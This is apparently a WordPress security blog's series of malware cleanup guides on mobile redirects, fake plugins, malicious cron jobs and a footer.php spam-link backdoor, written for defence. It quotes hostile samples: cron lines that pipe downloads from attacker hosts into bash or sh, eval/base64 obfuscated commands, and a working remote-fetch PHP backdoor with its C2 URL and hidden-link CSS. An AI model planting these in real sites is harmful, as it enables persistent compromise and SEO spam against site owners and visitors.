    Within minutes. A search-engine redirect can start costing you traffic the moment Googlebot crawls a hijacked page. A Google Safe Browsing flag can land within hours of detection. SEO damage from cloaking attacks (Japanese hack, pharma hack) can take months to fully recover from. The cost of waiting to clean is much higher than the cost of cleaning.


    Need Expert Help With a .htaccess Malware Cleanup?

    .htaccess malware is fixable in most cases, but the cleanups that succeed are the ones where every persistence layer is removed — not just the visible symptom. Removing the malicious .htaccess without finding the dropper, the backdoor users, the cron tasks, and the original entry point is the single most common reason these infections return.

    If your WordPress site has been hit by any of the patterns covered above, your hosting account has been flagged or suspended, or you’ve already tried cleaning the .htaccess and the malware came back, this is exactly the kind of recovery I do every week. I’ve cleaned more than 4,500 hacked WordPress sites since 2018.

    Get Expert WordPress Malware Removal

  • Fix: WordPress Redirects to Spam Site on Mobile Only (Solved)

    Is your WordPress site working perfectly on desktop but redirecting to spam, gambling, or “You Won an iPhone” scams when visited on a phone?

    This is a specific type of malware known as a Conditional Mobile Redirect. It is designed to trick site owners because the hacker knows you likely update and check your site from a computer, not your phone.

    This guide will explain why this happens and providing a step-by-step fix to remove the malicious code.


    Quick Summary (Key Takeaways)

    • The Symptom: Site redirects to spam URLs only on mobile devices (iOS/Android).

    • The Cause: Malicious code checking the “User-Agent” to identify mobile visitors.

    • Most Common Hiding Spots: The .htaccess file, wp-header.php, or a rogue plugin.

    • First Step: Clear your mobile browser cache to ensure the redirect isn’t just “stuck” in your history.


    Why Is This Happening?

    Hackers inject a script into your WordPress files that checks the visitor’s User-Agent.

    • If User-Agent = Desktop: The site loads normally (so you don’t notice).

    • If User-Agent = Mobile: The script triggers a JavaScript window.location redirect to a spam network.

    Because this is a “smart” hack, standard malware scanners sometimes miss it if they scan from a desktop server simulation.


    Step-by-Step Removal Guide

    ⚠️ Prerequisite: Before touching any files, backup your website immediately using your hosting panel or a plugin like UpdraftPlus.

    1. Check Your .htaccess File (Most Common Culprit)

    The .htaccess file controls how your server handles requests. Hackers love to hide redirect rules here because it processes before the site even loads.

    1. Log in to your Hosting File Manager (cPanel) or use an FTP client (like FileZilla).

    2. Locate the .htaccess file in your root directory (usually public_html).

    3. Edit the file and look for suspicious code blocks mentioning HTTP_USER_AGENT, android, iphone, or redirect.

    4. The Fix: If you see strange code outside of the standard # BEGIN WordPress tags, delete it. A clean, standard WordPress .htaccess file looks like this:

    Apache
    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END WordPress
    

    2. Inspect header.php and footer.php

    If the redirect is JavaScript-based, it is likely injected into your theme’s header or footer files.

    1. Navigate to /wp-content/themes/your-current-theme/.

    2. Open header.php.

    3. Look for <script> tags that look like random jumbles of letters and numbers (obfuscated code) or reference external domains (e.g., jquery-min.com or other lookalikes).

    4. The Fix: Remove the suspicious script lines.

    3. Check for “Ghost” Plugins

    Sometimes hackers install a plugin that doesn’t show up in your WordPress Dashboard.

    1. Using your File Manager/FTP, go to /wp-content/plugins/.

    2. Sort the folders by “Last Modified”.

    3. Look for any plugin folder modified recently that you did not update yourself.

    4. Look for generic names like cms-core, wp-security-patch, or plugin-update.

    5. The Fix: Delete the suspicious folder entirely.

    4. Scan the Database for JavaScript Injection

    Sometimes the redirect code is injected directly into your database posts or widgets.

    1. Install a plugin called “Better Search Replace”.

    2. Search for common malicious snippets like base64_decode, eval(, or specific spam URLs if you know them.

    3. Note: Be extremely careful editing the database. If you aren’t sure, skip this step or hire a professional.

    5. Clear Caches (Crucial Final Step)

    After removing the code, the redirect might still happen because your caching plugin or CDN (like Cloudflare) has saved the “hacked” version of the page.

    1. Purge All Caches in your caching plugin (WP Rocket, W3 Total Cache, etc.).

    2. Clear Cloudflare Cache if you use it.

    3. Test on a Private Tab: Open an Incognito/Private window on your phone (using 4G, not WiFi) to test if the redirect is gone.


    How to Prevent Reinfection

    Cleaning the hack is only half the battle. If you don’t plug the hole, they will get back in.

    • Update Everything: Ensure WordPress core, themes, and plugins are on the latest versions.

    • Change Passwords: Reset your WP Admin, Database, and FTP passwords immediately.

    • Install a Firewall: Use a security plugin like Wordfence or Sucuri to block future attacks.


    Frequently Asked Questions (FAQ)

    Q: Why does the redirect only happen on my phone?

    A: Hackers use “User-Agent Sniffing” to hide the malware from site owners (who use desktops) and desktop-based malware scanners.

    Q: Can I fix this without coding knowledge?

    A: You can try installing the Wordfence or MalCare plugin to scan and auto-clean the files. However, deep redirects in the database sometimes require manual removal.

    Q: Will this hurt my SEO?

    A: Yes. If Google detects the mobile redirect, they will blacklist your site or display a “This site may be hacked” warning. You must fix it immediately to preserve your rankings.

  • Why Is My Website Showing Content From Another Site? (How to Find & Fix Hidden Malware)

    Introduction: The “Glitch” That Isn’t a Glitch

    You type in your URL, expecting to see your homepage. Instead, you see something completely different. Maybe it’s an online shop selling car keys, cheap sunglasses, or pharmaceuticals. Maybe the whole design has changed to mimic a completely different brand.

    You might think you’ve typed the wrong address, or that your hosting is “glitching.”

    Unfortunately, this is rarely a glitch. It is almost always a malicious code injection. Hackers have modified your site’s core files to hijack your traffic and show their content instead of yours.

    If you are a site owner without technical knowledge, this guide will walk you through exactly what is happening, the specific “fake” plugins causing it, and how to fix it.


    Phase 1: Diagnosis – How to Confirm You Are Hacked

    Most site owners panic and start deactivating their design themes. However, this specific hack usually hides deeper in your file structure.

    The hack typically does two things:

    1. Creates Fake Plugins: It installs folders that look like legitimate software so you don’t delete them.

    2. Hijacks the Doorway (index.php): It changes the main file that loads your website, telling it to load the virus first.

    The “Imposter” Plugins

    Based on recent security analysis, this specific malware strain is known to create folders in your wp-content/plugins directory with legitimate-sounding names.

    Check your File Manager for these specific folders. If you did not install them, they are likely malware:

    • wp-compat: This is a major red flag. There is no official WordPress plugin by this name that comes pre-installed.

    • CacheFusion: Sounds like a speed tool, but if you didn’t install it, it’s often malicious code used to store the spam content.

    • CDNConnect: Another generic name used to trick site owners into thinking it is a performance tool.

    (Note: Hackers use these boring names because they know you are scared to delete things that sound “technical.”)


    Phase 2: The Solution (Step-by-Step)

    ⚠️ Warning: Before touching anything, generate a full backup of your website via your hosting panel.

    Step 1: Check the Date Modified

    Open your Hosting File Manager (cPanel or FTP). Navigate to public_html > wp-content > plugins.

    Look at the “Last Modified” column.

    • Did wp-compat, CacheFusion, or CDNConnect all appear on the same date?

    • Was that date recent (e.g., September 8th, as seen in many recent infection reports)?

    • If the dates match a time you weren’t working on the site, that is your confirmation.

    Step 2: Delete the Fake Plugins

    Do not try to “deactivate” them inside the WordPress dashboard (the hacker often hides them from the plugin list). You must delete the folders directly from the File Manager.

    1. Right-click the wp-compat folder -> Delete.

    2. Right-click CacheFusion -> Delete.

    3. Right-click CDNConnect -> Delete.

    Step 3: Fix the index.php File

    This is the most critical step. The hacker modified your index.php file (located in your main public_html folder) to load those fake plugins. Even if you delete the plugins, a broken index.php might crash your site.

    1. Find the index.php file in your root folder.

    2. The Signs of Infection: A clean WordPress index.php is very short (usually about 28 bytes to 50 bytes). If your file size is 4KB or larger, it is infected.

    3. The Fix:

      • Edit the file.

      • Delete everything inside it.

      • Paste the official, clean WordPress code below:

    <?php
    /**
     * Front to the WordPress application. This file doesn't do anything, but loads
     * wp-blog-header.php which does and tells WordPress to load the theme.
     *
     * @package WordPress
     */
    
    /**
     * Tells WordPress to load the WordPress theme and output it.
     *
     * @var bool
     */
    define( 'WP_USE_THEMES', true );
    
    /** Loads the WordPress Environment and Template */
    require __DIR__ . '/wp-blog-header.php';
    
    1. Save the file.

    Step 4: Clear Your Caches

    If you use legitimate caching tools (like LiteSpeed or NitroPack, which are excellent tools), they may still be “remembering” the hacked version of your site.

    • Log into your hosting dashboard.

    • Flush/Purge all caches.

    • Visit your site in Incognito mode to verify the fix.


    Common Questions (AI & Voice Search Optimized)

    Q: Why is my WordPress site showing a Japanese store or car parts?

    A: This is often called the “Japanese Keyword Hack” or “Pharma Hack.” Attackers inject code into your index.php header to display foreign content to search engines and users to steal your SEO ranking.

    Q: Is wp-compat a virus?

    A: Yes. In the context of recent WordPress attacks, a folder named wp-compat found in your plugins directory is typically a container for malicious scripts. It is not a core WordPress file.

    Q: My antivirus didn’t catch CDNConnect. Is it safe?

    A: Likely not. Hackers name malicious folders CDNConnect to mimic legitimate Content Delivery Network software. If you did not manually install a plugin by this name, delete it immediately.


    Summary & Next Steps

    Cleaning the hacked files is only half the battle. You need to close the door they came in through.

    1. Change all passwords (WordPress Admin, FTP, and Database).

    2. Update everything: Ensure Elementor, WooCommerce, and all legitimate plugins are fully updated.

    3. Run a Deep Scan: Use a security plugin like Wordfence or Sucuri to scan for any “backdoors” left behind in other folders.

    Need your site back right now? Dealing with server files and PHP code can be risky if you aren’t technical. If you are afraid of deleting the wrong file or breaking your site further, we offer emergency malware removal services. We can identify these fake plugins, clean your index.php, and secure your website for you—usually within hour

  • Hidden Cron Job Malware in WordPress: Find & Remove It (2026)

    Hidden Cron Job Malware in WordPress: Find & Remove It (2026)

    ⏱️ Malware regenerating every minute or hour? Hidden cron jobs are the #1 cause. This guide covers exactly how to find and kill them. If you’d rather have a security expert do this for you with same-day turnaround, see my WordPress malware removal service.

    You delete the infected file. Five minutes later, it’s back. You delete it again. Hours later, the same malware reappears with a different filename. Your site is being reinfected automatically — and the most common cause is a malicious cron job.

    A cron job is just a scheduled task on your server. Legitimate sites use them all the time (running backups, sending scheduled emails, clearing caches). But attackers also use them as their insurance policy against your cleanup attempts. They install a hidden cron job that re-downloads or re-creates the malware automatically — every minute, every hour, every day — for as long as it stays on your server.

    After cleaning 4,500+ hacked WordPress sites, I find malicious cron jobs are responsible for the majority of “malware keeps coming back” cases. This guide walks through exactly how to find and kill them, whether you’re on cPanel, a VPS, or managed hosting.

    📋 Quick Removal Process

    1. cPanel: Cron Jobs section → look for eval, base64_decode, gzinflate → Delete
    2. VPS/SSH: Run crontab -l for your user, then check other users (root, www-data, apache)
    3. WordPress: Install WP Crontrol plugin → audit all scheduled events for unfamiliar hooks
    4. After removal: Clean infected files, change ALL passwords, reset wp-config salts

    What Is a Cron Job and How Hackers Abuse It

    A cron job is a task your server runs automatically on a schedule. Every modern web server supports cron — it’s built into Linux/Unix and exposed through tools like cPanel’s Cron Jobs section.

    Legitimate examples on a WordPress site:

    • UpdraftPlus running daily backups at 3 AM
    • WordPress core checking for plugin updates
    • Caching plugins clearing expired cache files
    • SEO plugins regenerating sitemaps
    • Email plugins sending newsletters at scheduled times

    The cron syntax looks like this:

    * * * * * /path/to/command

    The five asterisks represent minute, hour, day-of-month, month, day-of-week. Five asterisks means “run every minute of every hour of every day forever.” That extreme frequency is exactly what attackers want — instant reinfection the moment you clean their malware.

    How a Malicious Cron Job Gets There in the First Place

    Attackers can’t just add a cron job to a server they don’t have access to. The cron job is never the first step of a hack — it’s added after the attacker has already gained some access. The typical infection sequence:

    1. Initial breach — Attacker exploits an outdated plugin, weak password, vulnerable theme, or compromised credentials to get into the site
    2. Backdoor upload — They upload a webshell — often disguised with an innocent name like wp-check.php, cache.php, or hidden inside /wp-includes/. This webshell gives them ongoing command-line access to your server
    3. Cron job installation — Through the webshell, they execute the command needed to install a cron job. The cron job becomes their persistence mechanism
    4. Payload execution — The cron job runs on schedule, re-downloading malware from a remote URL, recreating backdoor files, or restoring spam content

    This is why standard cleanup fails so often. You find and delete one backdoor, feeling like you’ve solved it. But the cron job is sitting silently in the background, ready to re-download a fresh copy of the malware the moment your cleanup is complete.

    For more on how the initial breach typically happens, see how hackers hide backdoors in WordPress.

    Anatomy of a Real Malicious Cron Job

    Here’s an actual malicious cron command I’ve found on multiple client sites. Understanding how it works helps you recognize variants:

    * * * * * /usr/local/bin/php -r 'eval(gzinflate(base64_decode("jVJrb6JAFP3ur2YUqcQGbatYaWxqfaa1...")));'

    [Screenshot: cPanel Cron Jobs interface showing the malicious entry highlighted]

    Let’s break down what makes this dangerous and how to spot variants:

    The Three Layers of Obfuscation

    Attackers use three layers to hide the actual malicious code from casual inspection and from basic security scanners:

    Layer Function What It Does
    1. Base64 Encoding base64_decode() Makes malicious code look like random text characters
    2. Compression gzinflate() Compresses the encoded data, hiding it further from signature scanners
    3. Code Execution eval() Tells PHP to execute the decoded, decompressed code as if it were normal PHP

    The combination eval(gzinflate(base64_decode(...))) is the classic “PHP malware obfuscation triple play.” If you see this pattern anywhere on your server — in cron jobs, in PHP files, in database options — it’s almost certainly malicious.

    The Schedule: * * * * *

    That five-asterisk schedule means “run every minute”. Attackers use this aggressive timing because it ensures the malware reappears almost instantly after you delete it. By the time you finish cleaning a file, the cron job has already restored it.

    Other schedules to recognize:

    • */5 * * * * — every 5 minutes
    • 0 * * * * — every hour at minute 0
    • 0 */6 * * * — every 6 hours
    • 0 3 * * * — every day at 3 AM (when traffic is low)

    Common Variants You’ll See

    Attackers vary the pattern, but the core obfuscation stays similar:

    # Variant 1: Direct PHP execution
    * * * * * php -r 'eval(base64_decode("..."));'
    
    # Variant 2: wget downloading remote payload
    * * * * * wget -q -O - http://attacker.com/payload.txt | bash
    
    # Variant 3: curl-based reinfection
    */10 * * * * curl -s http://malicious.xyz/install.sh | sh
    
    # Variant 4: Python (less common)
    * * * * * python -c "import urllib.request;exec(urllib.request.urlopen('http://...').read())"
    
    # Variant 5: Hidden in a "legitimate" path
    * * * * * /var/www/html/wp-content/.cache/update.php

    Any cron job that downloads from an external URL, executes encoded data, or runs from suspicious paths inside your WordPress installation should be considered malicious until proven otherwise.

    Method 1: Find and Remove Malicious Cron Jobs in cPanel

    cPanel hosts (most shared hosting — Bluehost, HostGator, GoDaddy cPanel plans, SiteGround, etc.) make this relatively straightforward.

    Step-by-Step cPanel Removal

    1. Log in to your cPanel account
    2. Scroll to the Advanced section (sometimes called “Tools”)
    3. Click Cron Jobs
    4. Scroll to the Current Cron Jobs table at the bottom of the page
    5. Examine every entry carefully. Look for any of these red flags:
      • Commands containing eval, base64_decode, gzinflate, str_rot13
      • Commands downloading from external URLs (wget http://..., curl http://...)
      • Commands you don’t recognize and didn’t create
      • Commands running every minute (* * * * *) — almost always malicious unless you specifically set up a high-frequency monitor
      • Commands pointing to suspicious paths inside /wp-content/
      • Commands with extremely long obfuscated arguments
    6. Click the Delete button next to each malicious entry
    7. Confirm deletion when prompted

    What Legitimate Cron Jobs Look Like

    For comparison, legitimate cron jobs are usually clear and readable:

    # WordPress real cron (sometimes set up to replace WP-Cron)
    */5 * * * * /usr/bin/php /home/username/public_html/wp-cron.php
    
    # UpdraftPlus or backup plugin
    0 3 * * * /home/username/public_html/wp-content/plugins/updraftplus/cron.php
    
    # Plain WordPress wp-cron via wget
    */15 * * * * wget -q -O - https://yourdomain.com/wp-cron.php?doing_wp_cron >/dev/null 2>&1

    The key distinction: legitimate cron jobs reference clear, readable file paths within your own site. Malicious ones use obfuscated commands or external URLs.

    Method 2: Find Malicious Cron Jobs via SSH (VPS, Cloud, Dedicated)

    If you’re on a VPS, cloud server, or dedicated host, you’ll need terminal access via SSH. This method is also more thorough because you can check cron jobs for multiple users — something cPanel doesn’t show.

    Check Your User’s Cron Jobs

    1. Connect to your server via SSH using your terminal or a tool like PuTTY
    2. Run this command to list your current user’s cron jobs:
    crontab -l

    [Screenshot: terminal output showing crontab listing]

    Review the output carefully for the same red flags from Method 1.

    Edit and Remove Malicious Entries

    If you find malicious entries, edit your crontab to remove them:

    crontab -e

    This opens your crontab in a text editor (usually nano or vi). Use arrow keys to navigate to the malicious line, delete the entire line, then save:

    • nano: Ctrl+O to save, Enter to confirm, Ctrl+X to exit
    • vi/vim: Press i to enter edit mode, delete the line, press Escape, type :wq to save and exit

    The Critical Step Most People Miss: Check Other Users

    Sophisticated attackers often hide cron jobs under different system users — not your main user account. The web server user (www-data, apache, or nginx) is a common hiding spot because that’s the user PHP runs as.

    Run these commands (requires sudo/root access):

    # Check root's cron jobs
    sudo crontab -l
    
    # Check the web server user's cron jobs (varies by OS)
    sudo crontab -u www-data -l    # Debian/Ubuntu
    sudo crontab -u apache -l      # CentOS/RHEL
    sudo crontab -u nginx -l       # Nginx-based systems
    
    # List ALL users with cron jobs on the system
    sudo ls -la /var/spool/cron/crontabs/    # Ubuntu/Debian
    sudo ls -la /var/spool/cron/             # CentOS/RHEL
    
    # Check system-wide cron files
    sudo cat /etc/crontab
    sudo ls -la /etc/cron.d/
    sudo ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

    Examine each location for suspicious entries. Attackers sometimes drop cron files into /etc/cron.d/ with innocent-looking names like php-update or wp-cache-clear.

    Method 3: Audit WP-Cron (WordPress Internal Scheduler)

    WordPress has its own internal scheduler called WP-Cron. Unlike server-level cron jobs, WP-Cron events are stored in your WordPress database and run when someone visits your site. Attackers can hijack WP-Cron just as easily as server cron.

    Inspect WP-Cron with WP Crontrol Plugin

    1. Install the free WP Crontrol plugin from WordPress.org
    2. Activate it
    3. Go to Tools → Cron Events
    4. Review every scheduled event listed

    WP Crontrol

    What to look for:

    • Hooks with random names — Something like wp_xyz_update or hex-string hooks like _0x4a2b
    • Hooks pointing to functions you don’t recognize — Especially in unfamiliar plugin files
    • Events with extremely high frequency — Multiple times per hour for tasks that shouldn’t be that frequent
    • Hooks from plugins you’ve already deleted — Sometimes orphaned cron events keep running malicious code

    Check WP-Cron via WP-CLI (Advanced)

    If you have WP-CLI access, this is faster:

    # List all scheduled cron events
    wp cron event list
    
    # List all registered cron hooks
    wp cron schedule list
    
    # Delete a suspicious cron event
    wp cron event delete suspicious_hook_name

    Check WP-Cron Directly in the Database

    WP-Cron data is stored in wp_options as a serialized array under the option name cron. In phpMyAdmin:

    1. Open your database
    2. Browse the wp_options table
    3. Search for option_name = cron
    4. Examine the option_value for unfamiliar function names or suspicious URLs

    What to Do Immediately After Removing the Cron Job

    Deleting the malicious cron job stops the reinfection from happening. But the site is still infected — the cron job was just preventing your previous cleanups from sticking. Now the cleanup will actually hold.

    Step 1: Run a Full Malware Scan

    Now that the re-infector is gone, scan with:

    • Wordfence — Find infected files
    • Sucuri SiteCheck (sitecheck.sucuri.net) — External malware detection
    • VirusTotal — Multi-vendor blacklist check

    Step 2: Clean All Infected Files

    Work through your scanner’s findings. With the cron job gone, deleted files will stay deleted. For comprehensive cleanup, see my expert guide to clean hacked WordPress sites.

    Step 3: Find the Original Backdoor That Installed the Cron

    Remember: the cron job was added through a backdoor. That backdoor is probably still on your server. Hunt for it:

    • Check /wp-content/uploads/ for any PHP files (none should exist there)
    • Check /wp-content/mu-plugins/ for unauthorized files
    • Look for files modified around the same time the cron job was created
    • Search PHP files for eval(base64_decode( patterns

    Run these commands via SSH:

    # Find PHP files in uploads (red flag)
    find ./wp-content/uploads/ -name "*.php"
    
    # Find files containing malware patterns
    grep -rnw './wp-content/' -e 'eval(' --include="*.php"
    grep -rnw './wp-content/' -e 'gzinflate(' --include="*.php"
    
    # Find recently modified PHP files
    find ./wp-content/ -name "*.php" -mtime -30 -ls

    Step 4: Change Every Password

    • Hosting/cPanel password
    • All WordPress admin passwords
    • FTP/SFTP/SSH credentials
    • Database password (update wp-config.php after)
    • Email accounts that can reset other passwords

    Step 5: Reset WordPress Salts

    Generate new salts at api.wordpress.org/secret-key/1.1/salt and replace the matching values in wp-config.php. This invalidates all active sessions, including any hacker sessions.

    Step 6: Update Everything

    WordPress core, every plugin, every theme. Remove unused plugins and themes. The original entry point was probably an outdated component — patching is essential.

    Step 7: Harden Against Future Cron Injections

    Why Cron-Based Reinfection Is So Common

    Three reasons cron job malware is so prevalent:

    1. Most site owners don’t know to look for it. They focus on PHP files and ignore the cron tab entirely. Even most security plugins don’t actively monitor cron job changes.
    2. Modifying cron is easy with shell access. Once an attacker has any code execution on your server, adding a cron job is a single command. It’s the lowest-effort persistence mechanism available.
    3. Cron jobs survive most cleanups. Even thorough file cleanups and database scrubs miss cron because cron lives in a different system entirely (the OS-level scheduler, not WordPress files or the database).

    This is why malicious cron jobs cause more reinfections than any other persistence mechanism in my experience. If WordPress malware keeps coming back, cron is always my first check.

    For other reinfection causes (hidden admin users, ghost plugins, database malware, sibling site infections), see my master guide on why WordPress malware keeps coming back.

    Real Case: How Cron Jobs Sustained 12,000 Spam Posts

    One of the most dramatic cron job cases I’ve worked on: a client’s WordPress site had been compromised for months. Every time they cleaned up the spam casino posts (sometimes thousands at a time), they’d reappear within 24 hours. Wordfence reported the site clean. The hosting provider couldn’t find the issue.

    The culprit: a malicious cron job running every hour, calling a remote URL that returned fresh batches of casino spam content. Removing the cron job — combined with cleaning the existing spam — finally stopped the cycle.

    Read the full breakdown: how I removed 12,000 casino gambling posts and stopped cron job malware.

    FAQ: Cron Job Malware

    How do I know if my WordPress malware is from a cron job?

    The biggest tell is timing. If malware reappears at predictable intervals — every minute, every hour, every day at the same time — it’s almost certainly a scheduled task. Cron-based reinfection is also faster than other reinfection types: the malware comes back within minutes of deletion, not days. If reinfection happens unpredictably, it’s more likely a backdoor file or hidden admin user.

    Where do hackers usually hide cron jobs?

    The most common locations: cPanel Cron Jobs section (most shared hosting), the system-level crontab via crontab -e (your user), the web server user’s crontab via sudo crontab -u www-data -l, system-wide cron files in /etc/cron.d/, and WordPress’s internal WP-Cron stored in the wp_options database table. Sophisticated attacks may use multiple locations simultaneously.

    Can security plugins detect malicious cron jobs?

    Generally no. Most WordPress security plugins (Wordfence, Sucuri, MalCare) scan files and database content but don’t inspect server-level cron jobs. Some monitor WP-Cron events for unfamiliar hooks, but most don’t actively flag suspicious cron entries. This is why manual cron auditing is essential when malware keeps coming back.

    Will deleting the cron job fix my hacked site completely?

    No — it stops the reinfection cycle but doesn’t remove existing malware. After deleting the cron job, you still need to scan for and remove infected files, find the original backdoor that allowed cron installation, change all passwords, and update your software. The cron job removal is one critical step in a larger cleanup process.

    What does eval(gzinflate(base64_decode())) mean in a cron command?

    It’s a three-layer obfuscation pattern. base64_decode converts encoded text back to binary data, gzinflate decompresses that data, and eval executes the decompressed code as PHP. This combination is almost exclusively used by malware to hide malicious code from inspection. If you see this pattern in a cron job (or anywhere else on your server), assume it’s malicious.

    Can I just disable WP-Cron entirely to prevent this?

    You can disable WP-Cron by adding define('DISABLE_WP_CRON', true); to wp-config.php, then setting up a real server cron job to call wp-cron.php. This actually improves performance and security because legitimate WordPress tasks run more reliably. However, it doesn’t prevent server-level cron job attacks — those happen through the OS scheduler, not WordPress.

    How do attackers add cron jobs without my knowledge?

    They don’t add cron jobs as the first step — that requires existing access. The sequence is: (1) attacker exploits a vulnerability or steals credentials to get initial access, (2) uploads a backdoor file (webshell), (3) uses the webshell to execute the cron-installation command. The cron job is their persistence layer, not their entry point. Find and patch the original entry point or they’ll just re-add the cron later.

    What if I can’t find any malicious cron jobs but malware still keeps coming back?

    If cron is clean, the persistence mechanism is one of the other 7 causes I cover in my comprehensive reinfection guide — backdoor files, hidden admin users, modified core files, database injections, infected sibling sites on the same hosting account, unrotated credentials, or unpatched original vulnerabilities. Work through each systematically.

    Will my hosting provider help find malicious cron jobs?

    Most shared hosts (Bluehost, GoDaddy, HostGator) won’t actively investigate cron jobs for you, but they will give you cPanel access to inspect them yourself. Some managed hosts (Kinsta, WP Engine) handle cron at the platform level and may block obvious malicious entries. For comprehensive cleanup, you usually need security expertise that goes beyond standard hosting support.

    Get Help Removing Cron Job Malware

    Cron job malware is technically simple to remove once you know what to look for, but finding all the persistence layers (cron job + backdoors + original entry point) is what makes a cleanup actually stick. If you’ve identified a malicious cron job but can’t find the backdoor that installed it, or if removing the cron job doesn’t stop reinfection, you’re missing something deeper.

    This is exactly the type of investigation I run on every paid cleanup. I work through cron jobs first (server-level and WP-Cron), find every backdoor that could re-install cron, identify and patch the original entry point, and harden against future cron-based attacks.

    Stop the cron-based reinfection cycle

    Get the cron job removed, the backdoor found, and the entry point patched.

    → Get Professional Malware Removal

    Cron + backdoor + entry point fixed · 4–8 hour turnaround

    For broader reinfection scenarios beyond cron jobs, see my master guide on why WordPress malware keeps coming back and how to stop it forever. If your site is also blacklisted, pair cleanup with my Google blacklist removal service.


    About the author: Md Pabel is a WordPress security specialist with 7+ years of experience. He has personally cleaned over 4,500 hacked WordPress sites and specializes in finding persistence mechanisms that defeat standard cleanup attempts. Real-world malware analysis at mdpabel.com.

  • Hidden Links Malware in WordPress: How a Remote-Fetch footer.php Backdoor Injects Casino & Slot Spam

    Hidden Links Malware in WordPress: How a Remote-Fetch footer.php Backdoor Injects Casino & Slot Spam

    Quick answer: Hidden links malware in WordPress is most often a remote-fetch backdoor — a tiny PHP snippet (usually inside footer.php) that pulls a list of casino, slot, pharma, or counterfeit links from an attacker-controlled server on every page load and prints them inside an off-screen <div>. Visitors don’t see the links; Googlebot does. To remove it: back up, delete the fetcher snippet from your theme, scan files + database for related backdoors, rotate all credentials, and request a Search Console review.


    Key takeaways

    • What it is: A black-hat SEO injection that adds invisible casino/slot/pharma backlinks to your site to pass authority to attacker-owned domains.
    • The new pattern (2025): Most cleanups I’m doing this year aren’t hard-coded link blocks — they’re remote-fetch backdoors that download fresh spam HTML from a C2 server every request, so the visible spam changes daily.
    • Where it hides: footer.php in 80% of my cases, then header.php, functions.php, and the database (wp_options, wp_posts).
    • How it stays hidden: Off-screen CSS like position:absolute; left:-989999999999px; — never display:none, because some search crawlers ignore that.
    • Why it survives “cleanups”: The fetcher is small (10–30 lines). Site owners delete the visible spam list in HTML but miss the snippet that re-pulls it.
    • This case: Found in footer.php, fetching from an Indonesian C2 domain that itself is a compromised legitimate site.

    What is hidden links malware (and why “remote-fetch” matters)

    Hidden links malware — sometimes called link injection spam, SEO spam injection, or spamdexing — is malicious code that adds invisible outbound links to your WordPress pages. The attacker’s goal is simple: borrow your domain authority to rank their spam pages (casino, slot, pharma, replica goods, adult content) in Google.

    What changed in the last 18 months is the delivery mechanism. Older infections hard-coded a block of spam HTML directly into footer.php. That’s easy to find with a simple grep. Newer infections — including the one I’m walking through here — use a remote-fetch backdoor: a tiny PHP function that downloads the spam list from a remote URL on every page load.

    This matters for three reasons:

    1. The visible spam rotates. The attacker can swap target keywords from “viagra cheap” to “slot gacor” to “mahjong ways” without re-hacking your site.
    2. Static malware scanners miss it. The local fingerprint is just a generic file_get_contents() call — not a known signature.
    3. “Cleaning” the visible HTML doesn’t fix anything. If you only delete the rendered links and leave the fetcher, the spam comes back on the next page load.

    I separated this out from my WordPress pharma hack guide and my Japanese keyword hack guide because the remote-fetch family behaves differently — and ignoring that difference is the #1 reason cleanups fail and the spam returns within days.


    The case: a remote-fetch backdoor in footer.php

    The infected site I’ll reference here was a small B2B WordPress installation. The owner only noticed because Google Search Console flagged “Security Issues — URLs containing user-generated spam” and a site:domain.com slot query returned roughly 600 indexed gambling pages that didn’t exist on the actual site.

    The spam wasn’t in the database. It wasn’t in wp-content/uploads. There were no rogue admin users. The site’s own pages, when viewed in a browser, looked completely fine. But viewing the page source revealed a giant block of casino and slot anchor tags wedged just before the closing </body> tag — and that block was different on every refresh.

    Walking back from the rendered HTML to the template, the trail led to wp-content/themes/[active-theme]/footer.php. At the bottom of the file, just above wp_footer(), sat this:

    <?php
    $url = "https://nawalaku.my.id/bl/";
    
    function fetch($url) {
        if (ini_get('allow_url_fopen') && ($d = @file_get_contents($url))) return $d;
    
        if (function_exists('curl_init')) {
            $c = curl_init($url);
            curl_setopt_array($c, [
                CURLOPT_RETURNTRANSFER => 1,
                CURLOPT_FOLLOWLOCATION => 1,
                CURLOPT_USERAGENT => 'Mozilla/5.0',
                CURLOPT_TIMEOUT => 10
            ]);
            $d = curl_exec($c);
            curl_close($c);
            if ($d) return $d;
        }
    
        $ctx = stream_context_create([
            'http' => ['header' => "User-Agent: Mozilla/5.0\r\n", 'timeout' => 10]
        ]);
        if ($d = @file_get_contents($url, false, $ctx)) return $d;
    
        return '';
    }
    
    echo fetch($url);
    ?>

    Remote-fetch backdoor code injected into WordPress footer.php

    That’s it. Twenty-five lines. No obfuscation. No base64_decode, no eval, no gzinflate — the things most malware scanners look for. Just three legitimate ways to make an outbound HTTP request, with the response echoed straight into the page.

    What this fetcher actually does

    • Tries file_get_contents first — works on most shared hosts where allow_url_fopen is on.
    • Falls back to cURL — covers hosts where fopen URL wrappers are disabled.
    • Falls back to a stream context — covers edge cases where neither of the first two works.
    • Spoofs a Mozilla User-Agent so the C2 server treats it as a normal browser, not a script.
    • Suppresses errors with @ so a temporarily-unreachable C2 server never breaks the page.
    • Echoes the response unconditionally — whatever the attacker sends, your site prints.

    The C2 endpoint (in this case nawalaku[.]my[.]id/bl/) returns an HTML block containing 50–200 gambling and slot anchor tags wrapped in an off-screen <div>:

    <div style="position:absolute; left:-989999999999px; top:-999999px; width:1px; height:1px; overflow:hidden;">
      <a href="hxxps://example-slot[.]com/gacor">slot gacor hari ini</a>
      <a href="hxxps://example-slot[.]com/mahjong">mahjong ways 2</a>
      ...
    </div>

    That CSS pushes the content roughly a trillion pixels to the left of the viewport. A human will never scroll that far. Googlebot reads the DOM, doesn’t care about visual position, and indexes every link.


    Casino & slot spam vs. pharma vs. Japanese keyword hack

    If you’ve read about WordPress SEO spam before, you’ve probably seen guides on the pharma hack or the Japanese keyword hack. They’re related but not identical — and treating them as the same thing is why cleanups fail.

    Variant What it injects Typical entry point Hiding technique
    Casino / slot spam (this article) Gambling, slot, mahjong, judi online links Theme files (footer.php), remote fetcher Off-screen CSS, dynamic remote payload
    Pharma hack Viagra, Cialis, weight-loss pill links Conditional cloaking in functions.php + DB wp_options User-agent cloaking (only shows to Googlebot)
    Japanese keyword hack Japanese-character spam pages Rogue .html/.php files in random subdirectories Generates thousands of new indexable URLs

